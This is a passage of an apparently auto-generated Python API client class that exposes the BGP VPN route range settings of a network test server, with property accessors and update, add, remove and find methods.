Returns
-------
- str(as | ip | asNumber2): Indicates the type of administrator field used in route distinguisher that will be included in the route announcements.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherType'])
@DistinguisherType.setter
def DistinguisherType(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherType'], value)
@property
def EnableAggregator(self):
"""
Returns
-------
- bool: Generates an AGGREGATOR attribute using the aggregatorIpAddress, aggregatorASNum, and aggregatorIDMode. (default = false)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableAggregator'])
@EnableAggregator.setter
def EnableAggregator(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableAggregator'], value)
@property
def EnableAggregatorIdIncrementMode(self):
"""
Returns
-------
- bool: If true, increments the Aggregator ID by interationStep.
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableAggregatorIdIncrementMode'])
@EnableAggregatorIdIncrementMode.setter
def EnableAggregatorIdIncrementMode(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableAggregatorIdIncrementMode'], value)
@property
def EnableAsPath(self):
"""
Returns
-------
- bool: Enables the generation of AS Path related items.
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableAsPath'])
@EnableAsPath.setter
def EnableAsPath(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableAsPath'], value)
@property
def EnableAtomicAttribute(self):
"""
Returns
-------
- bool: Sets the attribute bit that indicates that the router has aggregated two or more prefixes in the AGGREGATOR attribute. (default = false)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableAtomicAttribute'])
@EnableAtomicAttribute.setter
def EnableAtomicAttribute(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableAtomicAttribute'], value)
@property
def EnableCluster(self):
"""
Returns
-------
- bool: Enables the generation of the CLUSTER attribute list based on information in clusterList. (default = false)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableCluster'])
@EnableCluster.setter
def EnableCluster(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableCluster'], value)
@property
def EnableCommunity(self):
"""
Returns
-------
- bool: Enables the generation of a COMMUNITY attribute list. (default = false)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableCommunity'])
@EnableCommunity.setter
def EnableCommunity(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableCommunity'], value)
@property
def EnableGenerateUniqueRoutes(self):
"""
Returns
-------
- bool: When set to 1, each router generates a different IP address range. When not enabled, each router will advertise the route range as is.
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableGenerateUniqueRoutes'])
@EnableGenerateUniqueRoutes.setter
def EnableGenerateUniqueRoutes(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableGenerateUniqueRoutes'], value)
@property
def EnableIncludeLoopback(self):
"""
Returns
-------
- bool:
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableIncludeLoopback'])
@EnableIncludeLoopback.setter
def EnableIncludeLoopback(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableIncludeLoopback'], value)
@property
def EnableIncludeMulticast(self):
"""
Returns
-------
- bool:
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableIncludeMulticast'])
@EnableIncludeMulticast.setter
def EnableIncludeMulticast(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableIncludeMulticast'], value)
@property
def EnableLocalPref(self):
"""
Returns
-------
- bool: Enables the generation of a LOCAL PREF attribute based on the information in localPref. This value should be set to true only for EBGP. (default = false)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableLocalPref'])
@EnableLocalPref.setter
def EnableLocalPref(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableLocalPref'], value)
@property
def EnableMed(self):
"""
Returns
-------
- bool: Enables the generation of a MULTI EXIT DISCRIMINATOR attribute. (default = false)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableMed'])
@EnableMed.setter
def EnableMed(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableMed'], value)
@property
def EnableNextHop(self):
"""
Returns
-------
- bool: Enables the generation of a NEXT HOP attribute. (default = true)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableNextHop'])
@EnableNextHop.setter
def EnableNextHop(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableNextHop'], value)
@property
def EnableOrigin(self):
"""
Returns
-------
- bool: Enables the generation of an ORIGIN attribute. (default = true)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableOrigin'])
@EnableOrigin.setter
def EnableOrigin(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableOrigin'], value)
@property
def EnableOriginatorId(self):
"""
Returns
-------
- bool: Enables the generation of an ORIGINATOR-ID attribute, based on information in originatorId. (default = false)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableOriginatorId'])
@EnableOriginatorId.setter
def EnableOriginatorId(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableOriginatorId'], value)
@property
def EnableTraditionalNlriUpdate(self):
"""
Returns
-------
- bool: If enabled, use the traditional NLRI in the UPDATE message, instead of using the MP_REACH_NLRI Multi-protocol extension to advertise the routes. (Not applicable for MPLS and MPLS VPN Route Ranges.)
"""
return self._get_attribute(self._SDM_ATT_MAP['EnableTraditionalNlriUpdate'])
@EnableTraditionalNlriUpdate.setter
def EnableTraditionalNlriUpdate(self, value):
self._set_attribute(self._SDM_ATT_MAP['EnableTraditionalNlriUpdate'], value)
@property
def Enabled(self):
"""
Returns
-------
- bool: Enables the VPN route range.
"""
return self._get_attribute(self._SDM_ATT_MAP['Enabled'])
@Enabled.setter
def Enabled(self, value):
self._set_attribute(self._SDM_ATT_MAP['Enabled'], value)
@property
def EndOfRib(self):
"""
Returns
-------
- bool: If true, enables end of rib
"""
return self._get_attribute(self._SDM_ATT_MAP['EndOfRib'])
@EndOfRib.setter
def EndOfRib(self, value):
self._set_attribute(self._SDM_ATT_MAP['EndOfRib'], value)
@property
def FromPacking(self):
"""
Returns
-------
- number: The minimum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. (default = 0)
"""
return self._get_attribute(self._SDM_ATT_MAP['FromPacking'])
@FromPacking.setter
def FromPacking(self, value):
self._set_attribute(self._SDM_ATT_MAP['FromPacking'], value)
@property
def FromPrefix(self):
"""
Returns
-------
- number: The first prefix length to generate based on the networkAddress and numRanges. (default = 24)
"""
return self._get_attribute(self._SDM_ATT_MAP['FromPrefix'])
@FromPrefix.setter
def FromPrefix(self, value):
self._set_attribute(self._SDM_ATT_MAP['FromPrefix'], value)
@property
def IncludeSourceAsExtendedCommunityPresent(self):
"""
Returns
-------
- bool: If for a given MVPN BGP is used for exchanging C-multicast routes, or if segmented
"""
return self._get_attribute(self._SDM_ATT_MAP['IncludeSourceAsExtendedCommunityPresent'])
@IncludeSourceAsExtendedCommunityPresent.setter
def IncludeSourceAsExtendedCommunityPresent(self, value):
self._set_attribute(self._SDM_ATT_MAP['IncludeSourceAsExtendedCommunityPresent'], value)
@property
def IncludeVrfRouteImportExtendedCommunityPresent(self):
"""
Returns
-------
- bool: Defines the route target extended community.
"""
return self._get_attribute(self._SDM_ATT_MAP['IncludeVrfRouteImportExtendedCommunityPresent'])
@IncludeVrfRouteImportExtendedCommunityPresent.setter
def IncludeVrfRouteImportExtendedCommunityPresent(self, value):
self._set_attribute(self._SDM_ATT_MAP['IncludeVrfRouteImportExtendedCommunityPresent'], value)
@property
def IpType(self):
"""
Returns
-------
- str(ipAny | ipv4 | ipv6): The type of IP address in nextworkAddress.
"""
return self._get_attribute(self._SDM_ATT_MAP['IpType'])
@IpType.setter
def IpType(self, value):
self._set_attribute(self._SDM_ATT_MAP['IpType'], value)
@property
def IterationStep(self):
"""
Returns
-------
- number: During prefix generation, the increment between prefixes. (default = 1)
"""
return self._get_attribute(self._SDM_ATT_MAP['IterationStep'])
@IterationStep.setter
def IterationStep(self, value):
self._set_attribute(self._SDM_ATT_MAP['IterationStep'], value)
@property
def LocalPref(self):
"""
Returns
-------
- number: The local preference value for the routes with the LOCAL PREF attribute. (default = 0)
"""
return self._get_attribute(self._SDM_ATT_MAP['LocalPref'])
@LocalPref.setter
def LocalPref(self, value):
self._set_attribute(self._SDM_ATT_MAP['LocalPref'], value)
@property
def Med(self):
"""
Returns
-------
- number: The multi-exit discriminator value in the MULTI EXIT DISCRIMINATOR attribute. (default = 0)
"""
return self._get_attribute(self._SDM_ATT_MAP['Med'])
@Med.setter
def Med(self, value):
self._set_attribute(self._SDM_ATT_MAP['Med'], value)
@property
def NetworkAddress(self):
"""
Returns
-------
- str: The network address used for the generated prefixes. (default = 0.0.0.0)
"""
return self._get_attribute(self._SDM_ATT_MAP['NetworkAddress'])
@NetworkAddress.setter
def NetworkAddress(self, value):
self._set_attribute(self._SDM_ATT_MAP['NetworkAddress'], value)
@property
def NextHopIpAddress(self):
"""
Returns
-------
- str: The IP address, in either IPv4 or IPv6 format of the next hop associated with the NEXT HOP attribute. (default = 0.0.0.0)
"""
return self._get_attribute(self._SDM_ATT_MAP['NextHopIpAddress'])
@NextHopIpAddress.setter
def NextHopIpAddress(self, value):
self._set_attribute(self._SDM_ATT_MAP['NextHopIpAddress'], value)
@property
def NextHopMode(self):
"""
Returns
-------
- str(fixed | nextHopIncrement | incrementPerPrefix): Indicates that the nextHopIpAddress may be incremented for each neighbor session generated for the range of neighbor addresses.
"""
return self._get_attribute(self._SDM_ATT_MAP['NextHopMode'])
@NextHopMode.setter
def NextHopMode(self, value):
self._set_attribute(self._SDM_ATT_MAP['NextHopMode'], value)
@property
def NextHopSetMode(self):
"""
Returns
-------
- str(setManually | sameAsLocalIp): Indicates now to set the next hop IP address.
"""
return self._get_attribute(self._SDM_ATT_MAP['NextHopSetMode'])
@NextHopSetMode.setter
def NextHopSetMode(self, value):
self._set_attribute(self._SDM_ATT_MAP['NextHopSetMode'], value)
@property
def NumRoutes(self):
"""
Returns
-------
- number: The number of prefixes (routes) to generate for this routeItem. (default = 1)
"""
return self._get_attribute(self._SDM_ATT_MAP['NumRoutes'])
@NumRoutes.setter
def NumRoutes(self, value):
self._set_attribute(self._SDM_ATT_MAP['NumRoutes'], value)
@property
def OriginProtocol(self):
"""
Returns
-------
- str(igp | egp | incomplete): An indication of where the route entry originated.
"""
return self._get_attribute(self._SDM_ATT_MAP['OriginProtocol'])
@OriginProtocol.setter
def OriginProtocol(self, value):
self._set_attribute(self._SDM_ATT_MAP['OriginProtocol'], value)
@property
def OriginatorId(self):
"""
Returns
-------
- str: The router that originated a particular route; associated with the ORIGINATOR-ID attribute. (default = 0.0.0.0)
"""
return self._get_attribute(self._SDM_ATT_MAP['OriginatorId'])
@OriginatorId.setter
def OriginatorId(self, value):
self._set_attribute(self._SDM_ATT_MAP['OriginatorId'], value)
@property
def RouteStepAcrossVRFs(self):
"""
Returns
-------
- str: The route increment value across VRFs.
"""
return self._get_attribute(self._SDM_ATT_MAP['RouteStepAcrossVRFs'])
@RouteStepAcrossVRFs.setter
def RouteStepAcrossVRFs(self, value):
self._set_attribute(self._SDM_ATT_MAP['RouteStepAcrossVRFs'], value)
@property
def ThruPacking(self):
"""
Returns
-------
- number: The maximum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. See the discussion under fromPacking above. (default = 0)
"""
return self._get_attribute(self._SDM_ATT_MAP['ThruPacking'])
@ThruPacking.setter
def ThruPacking(self, value):
self._set_attribute(self._SDM_ATT_MAP['ThruPacking'], value)
@property
def ThruPrefix(self):
"""
Returns
-------
- number: The last prefix length to generate based on the networkAddress and numRanges. (default = 24)
"""
return self._get_attribute(self._SDM_ATT_MAP['ThruPrefix'])
@ThruPrefix.setter
def ThruPrefix(self, value):
self._set_attribute(self._SDM_ATT_MAP['ThruPrefix'], value)
def update(self, AdvertiseNextHopAsV4=None, AggregatorAsNum=None, AggregatorIpAddress=None, Delay=None, DistinguisherAsNumber=None, DistinguisherAsNumberStep=None, DistinguisherAsNumberStepAcrossVrfs=None, DistinguisherAssignedNumber=None, DistinguisherAssignedNumberStep=None, DistinguisherAssignedNumberStepAcrossVrfs=None, DistinguisherCount=None, DistinguisherCountPerVrf=None, DistinguisherIpAddress=None, DistinguisherIpAddressStep=None, DistinguisherIpAddressStepAcrossVrfs=None, DistinguisherMode=None, DistinguisherStep=None, DistinguisherType=None, EnableAggregator=None, EnableAggregatorIdIncrementMode=None, EnableAsPath=None, EnableAtomicAttribute=None, EnableCluster=None, EnableCommunity=None, EnableGenerateUniqueRoutes=None, EnableIncludeLoopback=None, EnableIncludeMulticast=None, EnableLocalPref=None, EnableMed=None, EnableNextHop=None, EnableOrigin=None, EnableOriginatorId=None, EnableTraditionalNlriUpdate=None, Enabled=None, EndOfRib=None, FromPacking=None, FromPrefix=None, IncludeSourceAsExtendedCommunityPresent=None, IncludeVrfRouteImportExtendedCommunityPresent=None, IpType=None, IterationStep=None, LocalPref=None, Med=None, NetworkAddress=None, NextHopIpAddress=None, NextHopMode=None, NextHopSetMode=None, NumRoutes=None, OriginProtocol=None, OriginatorId=None, RouteStepAcrossVRFs=None, ThruPacking=None, ThruPrefix=None):
"""Updates vpnRouteRange resource on the server.
Args
----
- AdvertiseNextHopAsV4 (bool): NOT DEFINED
- AggregatorAsNum (number): The AS associated with the aggregator router ID in the AGGREGATOR attribute. (default = 0)
- AggregatorIpAddress (str): The IP address of the router that aggregated two or more routes in the AGGREGATOR attribute. (default = 0.0.0.0)
- Delay (number):
- DistinguisherAsNumber (number): If distinguisherType is set to bgp4DistinguisherTypeAS, this is the 2-byte AS number in the administrator sub-field of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0)
- DistinguisherAsNumberStep (number): The increment step for for the distinguisher AS number.
- DistinguisherAsNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher AS number within the VRF Range.
- DistinguisherAssignedNumber (number): The assigned number of the VPN route distinguisher. It is a number from a numbering space which is maintained by the enterprise administers for a given IP address or ASN space. It is the local part of the route distinguisher. (default = 0)
- DistinguisherAssignedNumberStep (number): The increment step for for the distinguisher assigned number.
- DistinguisherAssignedNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher assigned number within the VRF Range.
- DistinguisherCount (number): The number of times that the increment step will be used. (default = 1)
- DistinguisherCountPerVrf (number): The number of times that the increment step is used per VRF.
- DistinguisherIpAddress (str): If distinguisherType is set to bgp4DistinguisherTypeIP, this is the 4-byte IP address in the administrator subfield of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0.0.0.0)
- DistinguisherIpAddressStep (str): The increment step for for the distinguisher IP address.
- DistinguisherIpAddressStepAcrossVrfs (str): The increment step for per VRF distinguisher IP address within the VRF Range.
- DistinguisherMode (str(global | local)): Specifies which part of the route distinguisher you want to increment.
- DistinguisherStep (number): The size of the increment step to be used with the part of the route distinguisher which will be incremented. (default = 1)
- DistinguisherType (str(as | ip | asNumber2)): Indicates the type of administrator field used in route distinguisher that will be included in the route announcements.
- EnableAggregator (bool): Generates an AGGREGATOR attribute using the aggregatorIpAddress, aggregatorASNum, and aggregatorIDMode. (default = false)
- EnableAggregatorIdIncrementMode (bool): If true, increments the Aggregator ID by interationStep.
- EnableAsPath (bool): Enables the generation of AS Path related items.
- EnableAtomicAttribute (bool): Sets the attribute bit that indicates that the router has aggregated two or more prefixes in the AGGREGATOR attribute. (default = false)
- EnableCluster (bool): Enables the generation of the CLUSTER attribute list based on information in clusterList. (default = false)
- EnableCommunity (bool): Enables the generation of a COMMUNITY attribute list. (default = false)
- EnableGenerateUniqueRoutes (bool): When set to 1, each router generates a different IP address range. When not enabled, each router will advertise the route range as is.
- EnableIncludeLoopback (bool):
- EnableIncludeMulticast (bool):
- EnableLocalPref (bool): Enables the generation of a LOCAL PREF attribute based on the information in localPref. This value should be set to true only for EBGP. (default = false)
- EnableMed (bool): Enables the generation of a MULTI EXIT DISCRIMINATOR attribute. (default = false)
- EnableNextHop (bool): Enables the generation of a NEXT HOP attribute. (default = true)
- EnableOrigin (bool): Enables the generation of an ORIGIN attribute. (default = true)
- EnableOriginatorId (bool): Enables the generation of an ORIGINATOR-ID attribute, based on information in originatorId. (default = false)
- EnableTraditionalNlriUpdate (bool): If enabled, use the traditional NLRI in the UPDATE message, instead of using the MP_REACH_NLRI Multi-protocol extension to advertise the routes. (Not applicable for MPLS and MPLS VPN Route Ranges.)
- Enabled (bool): Enables the VPN route range.
- EndOfRib (bool): If true, enables end of rib
- FromPacking (number): The minimum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. (default = 0)
- FromPrefix (number): The first prefix length to generate based on the networkAddress and numRanges. (default = 24)
- IncludeSourceAsExtendedCommunityPresent (bool): If for a given MVPN BGP is used for exchanging C-multicast routes, or if segmented
- IncludeVrfRouteImportExtendedCommunityPresent (bool): Defines the route target extended community.
- IpType (str(ipAny | ipv4 | ipv6)): The type of IP address in nextworkAddress.
- IterationStep (number): During prefix generation, the increment between prefixes. (default = 1)
- LocalPref (number): The local preference value for the routes with the LOCAL PREF attribute. (default = 0)
- Med (number): The multi-exit discriminator value in the MULTI EXIT DISCRIMINATOR attribute. (default = 0)
- NetworkAddress (str): The network address used for the generated prefixes. (default = 0.0.0.0)
- NextHopIpAddress (str): The IP address, in either IPv4 or IPv6 format of the next hop associated with the NEXT HOP attribute. (default = 0.0.0.0)
- NextHopMode (str(fixed | nextHopIncrement | incrementPerPrefix)): Indicates that the nextHopIpAddress may be incremented for each neighbor session generated for the range of neighbor addresses.
- NextHopSetMode (str(setManually | sameAsLocalIp)): Indicates now to set the next hop IP address.
- NumRoutes (number): The number of prefixes (routes) to generate for this routeItem. (default = 1)
- OriginProtocol (str(igp | egp | incomplete)): An indication of where the route entry originated.
- OriginatorId (str): The router that originated a particular route; associated with the ORIGINATOR-ID attribute. (default = 0.0.0.0)
- RouteStepAcrossVRFs (str): The route increment value across VRFs.
- ThruPacking (number): The maximum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. See the discussion under fromPacking above. (default = 0)
- ThruPrefix (number): The last prefix length to generate based on the networkAddress and numRanges. (default = 24)
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
return self._update(self._map_locals(self._SDM_ATT_MAP, locals()))
def add(self, AdvertiseNextHopAsV4=None, AggregatorAsNum=None, AggregatorIpAddress=None, Delay=None, DistinguisherAsNumber=None, DistinguisherAsNumberStep=None, DistinguisherAsNumberStepAcrossVrfs=None, DistinguisherAssignedNumber=None, DistinguisherAssignedNumberStep=None, DistinguisherAssignedNumberStepAcrossVrfs=None, DistinguisherCount=None, DistinguisherCountPerVrf=None, DistinguisherIpAddress=None, DistinguisherIpAddressStep=None, DistinguisherIpAddressStepAcrossVrfs=None, DistinguisherMode=None, DistinguisherStep=None, DistinguisherType=None, EnableAggregator=None, EnableAggregatorIdIncrementMode=None, EnableAsPath=None, EnableAtomicAttribute=None, EnableCluster=None, EnableCommunity=None, EnableGenerateUniqueRoutes=None, EnableIncludeLoopback=None, EnableIncludeMulticast=None, EnableLocalPref=None, EnableMed=None, EnableNextHop=None, EnableOrigin=None, EnableOriginatorId=None, EnableTraditionalNlriUpdate=None, Enabled=None, EndOfRib=None, FromPacking=None, FromPrefix=None, IncludeSourceAsExtendedCommunityPresent=None, IncludeVrfRouteImportExtendedCommunityPresent=None, IpType=None, IterationStep=None, LocalPref=None, Med=None, NetworkAddress=None, NextHopIpAddress=None, NextHopMode=None, NextHopSetMode=None, NumRoutes=None, OriginProtocol=None, OriginatorId=None, RouteStepAcrossVRFs=None, ThruPacking=None, ThruPrefix=None):
"""Adds a new vpnRouteRange resource on the server and adds it to the container.
Args
----
- AdvertiseNextHopAsV4 (bool): NOT DEFINED
- AggregatorAsNum (number): The AS associated with the aggregator router ID in the AGGREGATOR attribute. (default = 0)
- AggregatorIpAddress (str): The IP address of the router that aggregated two or more routes in the AGGREGATOR attribute. (default = 0.0.0.0)
- Delay (number):
- DistinguisherAsNumber (number): If distinguisherType is set to bgp4DistinguisherTypeAS, this is the 2-byte AS number in the administrator sub-field of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0)
- DistinguisherAsNumberStep (number): The increment step for for the distinguisher AS number.
- DistinguisherAsNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher AS number within the VRF Range.
- DistinguisherAssignedNumber (number): The assigned number of the VPN route distinguisher. It is a number from a numbering space which is maintained by the enterprise administers for a given IP address or ASN space. It is the local part of the route distinguisher. (default = 0)
- DistinguisherAssignedNumberStep (number): The increment step for for the distinguisher assigned number.
- DistinguisherAssignedNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher assigned number within the VRF Range.
- DistinguisherCount (number): The number of times that the increment step will be used. (default = 1)
- DistinguisherCountPerVrf (number): The number of times that the increment step is used per VRF.
- DistinguisherIpAddress (str): If distinguisherType is set to bgp4DistinguisherTypeIP, this is the 4-byte IP address in the administrator subfield of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0.0.0.0)
- DistinguisherIpAddressStep (str): The increment step for for the distinguisher IP address.
- DistinguisherIpAddressStepAcrossVrfs (str): The increment step for per VRF distinguisher IP address within the VRF Range.
- DistinguisherMode (str(global | local)): Specifies which part of the route distinguisher you want to increment.
- DistinguisherStep (number): The size of the increment step to be used with the part of the route distinguisher which will be incremented. (default = 1)
- DistinguisherType (str(as | ip | asNumber2)): Indicates the type of administrator field used in route distinguisher that will be included in the route announcements.
- EnableAggregator (bool): Generates an AGGREGATOR attribute using the aggregatorIpAddress, aggregatorASNum, and aggregatorIDMode. (default = false)
- EnableAggregatorIdIncrementMode (bool): If true, increments the Aggregator ID by interationStep.
- EnableAsPath (bool): Enables the generation of AS Path related items.
- EnableAtomicAttribute (bool): Sets the attribute bit that indicates that the router has aggregated two or more prefixes in the AGGREGATOR attribute. (default = false)
- EnableCluster (bool): Enables the generation of the CLUSTER attribute list based on information in clusterList. (default = false)
- EnableCommunity (bool): Enables the generation of a COMMUNITY attribute list. (default = false)
- EnableGenerateUniqueRoutes (bool): When set to 1, each router generates a different IP address range. When not enabled, each router will advertise the route range as is.
- EnableIncludeLoopback (bool):
- EnableIncludeMulticast (bool):
- EnableLocalPref (bool): Enables the generation of a LOCAL PREF attribute based on the information in localPref. This value should be set to true only for EBGP. (default = false)
- EnableMed (bool): Enables the generation of a MULTI EXIT DISCRIMINATOR attribute. (default = false)
- EnableNextHop (bool): Enables the generation of a NEXT HOP attribute. (default = true)
- EnableOrigin (bool): Enables the generation of an ORIGIN attribute. (default = true)
- EnableOriginatorId (bool): Enables the generation of an ORIGINATOR-ID attribute, based on information in originatorId. (default = false)
- EnableTraditionalNlriUpdate (bool): If enabled, use the traditional NLRI in the UPDATE message, instead of using the MP_REACH_NLRI Multi-protocol extension to advertise the routes. (Not applicable for MPLS and MPLS VPN Route Ranges.)
- Enabled (bool): Enables the VPN route range.
- EndOfRib (bool): If true, enables end of rib
- FromPacking (number): The minimum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. (default = 0)
- FromPrefix (number): The first prefix length to generate based on the networkAddress and numRanges. (default = 24)
- IncludeSourceAsExtendedCommunityPresent (bool): If for a given MVPN BGP is used for exchanging C-multicast routes, or if segmented
- IncludeVrfRouteImportExtendedCommunityPresent (bool): Defines the route target extended community.
- IpType (str(ipAny | ipv4 | ipv6)): The type of IP address in nextworkAddress.
- IterationStep (number): During prefix generation, the increment between prefixes. (default = 1)
- LocalPref (number): The local preference value for the routes with the LOCAL PREF attribute. (default = 0)
- Med (number): The multi-exit discriminator value in the MULTI EXIT DISCRIMINATOR attribute. (default = 0)
- NetworkAddress (str): The network address used for the generated prefixes. (default = 0.0.0.0)
- NextHopIpAddress (str): The IP address, in either IPv4 or IPv6 format of the next hop associated with the NEXT HOP attribute. (default = 0.0.0.0)
- NextHopMode (str(fixed | nextHopIncrement | incrementPerPrefix)): Indicates that the nextHopIpAddress may be incremented for each neighbor session generated for the range of neighbor addresses.
- NextHopSetMode (str(setManually | sameAsLocalIp)): Indicates now to set the next hop IP address.
- NumRoutes (number): The number of prefixes (routes) to generate for this routeItem. (default = 1)
- OriginProtocol (str(igp | egp | incomplete)): An indication of where the route entry originated.
- OriginatorId (str): The router that originated a particular route; associated with the ORIGINATOR-ID attribute. (default = 0.0.0.0)
- RouteStepAcrossVRFs (str): The route increment value across VRFs.
- ThruPacking (number): The maximum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. See the discussion under fromPacking above. (default = 0)
- ThruPrefix (number): The last prefix length to generate based on the networkAddress and numRanges. (default = 24)
Returns
-------
- self: This instance with all currently retrieved vpnRouteRange resources using find and the newly added vpnRouteRange resources available through an iterator or index
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
return self._create(self._map_locals(self._SDM_ATT_MAP, locals()))
def remove(self):
"""Deletes all the contained vpnRouteRange resources in this instance from the server.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
self._delete()
def find(self, AdvertiseNextHopAsV4=None, AggregatorAsNum=None, AggregatorIpAddress=None, Delay=None, DistinguisherAsNumber=None, DistinguisherAsNumberStep=None, DistinguisherAsNumberStepAcrossVrfs=None, DistinguisherAssignedNumber=None, DistinguisherAssignedNumberStep=None, DistinguisherAssignedNumberStepAcrossVrfs=None, DistinguisherCount=None, DistinguisherCountPerVrf=None, DistinguisherIpAddress=None, DistinguisherIpAddressStep=None, DistinguisherIpAddressStepAcrossVrfs=None, DistinguisherMode=None, DistinguisherStep=None, DistinguisherType=None, EnableAggregator=None, EnableAggregatorIdIncrementMode=None, EnableAsPath=None, EnableAtomicAttribute=None, EnableCluster=None, EnableCommunity=None, EnableGenerateUniqueRoutes=None, EnableIncludeLoopback=None, EnableIncludeMulticast=None, EnableLocalPref=None, EnableMed=None, EnableNextHop=None, EnableOrigin=None, EnableOriginatorId=None, EnableTraditionalNlriUpdate=None, Enabled=None, EndOfRib=None, FromPacking=None, FromPrefix=None, IncludeSourceAsExtendedCommunityPresent=None, IncludeVrfRouteImportExtendedCommunityPresent=None, IpType=None, IterationStep=None, LocalPref=None, Med=None, NetworkAddress=None, NextHopIpAddress=None, NextHopMode=None, NextHopSetMode=None, NumRoutes=None, OriginProtocol=None, OriginatorId=None, RouteStepAcrossVRFs=None, ThruPacking=None, ThruPrefix=None):
"""Finds and retrieves vpnRouteRange resources from the server.
All named parameters are evaluated on the server using regex. The named parameters can be used to selectively retrieve vpnRouteRange resources from the server.
To retrieve an exact match ensure the parameter value starts with ^ and ends with $
By default the find method takes no parameters and will retrieve all vpnRouteRange resources from the server.
Args
----
- AdvertiseNextHopAsV4 (bool): NOT DEFINED
- AggregatorAsNum (number): The AS associated with the aggregator router ID in the AGGREGATOR attribute. (default = 0)
- AggregatorIpAddress (str): The IP address of the router that aggregated two or more routes in the AGGREGATOR attribute. (default = 0.0.0.0)
- Delay (number):
- DistinguisherAsNumber (number): If distinguisherType is set to bgp4DistinguisherTypeAS, this is the 2-byte AS number in the administrator sub-field of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0)
- DistinguisherAsNumberStep (number): The increment step for for the distinguisher AS number.
- DistinguisherAsNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher AS number within the VRF Range.
- DistinguisherAssignedNumber (number): The assigned number of the VPN route distinguisher. It is a number from a numbering space which is maintained by the enterprise administers for a given IP address or ASN space. It is the local part of the route distinguisher. (default = 0)
- DistinguisherAssignedNumberStep (number): The increment step for for the distinguisher assigned number.
- DistinguisherAssignedNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher assigned number within the VRF Range.
- DistinguisherCount (number): The number of times that the increment step will be used. (default = 1)
- DistinguisherCountPerVrf (number): The number of times that the increment step is used per VRF.
- DistinguisherIpAddress (str): If distinguisherType is set to bgp4DistinguisherTypeIP, this is the 4-byte IP address in the administrator subfield of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0.0.0.0)
- DistinguisherIpAddressStep (str): The increment step for for the distinguisher IP address.
- DistinguisherIpAddressStepAcrossVrfs (str): The increment step for per VRF distinguisher IP address within the VRF Range.
- DistinguisherMode (str(global | local)): Specifies which part of the route distinguisher you want to increment.
- DistinguisherStep (number): The size of the increment step to be used with the part of the route distinguisher which will be incremented. (default = 1)
- DistinguisherType (str(as | ip | asNumber2)): Indicates the type of administrator field used in route distinguisher that will be included in the route announcements.
- EnableAggregator (bool): Generates an AGGREGATOR attribute using the aggregatorIpAddress, aggregatorASNum, and aggregatorIDMode. (default = false)
- EnableAggregatorIdIncrementMode (bool): If true, increments the Aggregator ID by interationStep.
- EnableAsPath (bool): Enables the generation of AS Path related items.
- EnableAtomicAttribute (bool): Sets the attribute bit that indicates that the router has aggregated two or more prefixes in the AGGREGATOR attribute. (default = false)
- EnableCluster (bool): Enables the generation of the CLUSTER attribute list based on information in clusterList. (default = false)
- EnableCommunity (bool): Enables the generation of a COMMUNITY attribute list. (default = false)
- EnableGenerateUniqueRoutes (bool): When set to 1, each router generates a different IP address range. When not enabled, each router will advertise the route range as is.
- EnableIncludeLoopback (bool):
- EnableIncludeMulticast (bool):
- EnableLocalPref (bool): Enables the generation of a LOCAL PREF attribute based on the information in localPref. This value should be set to true only for EBGP. (default = false)
- EnableMed (bool): Enables the generation of a MULTI EXIT DISCRIMINATOR attribute. (default = false)
- EnableNextHop (bool): Enables the generation of a NEXT HOP attribute. (default = true)
- EnableOrigin (bool): Enables the generation of an ORIGIN attribute. (default = true)
- EnableOriginatorId (bool): Enables the generation of an ORIGINATOR-ID attribute, based on information in originatorId. (default = false)
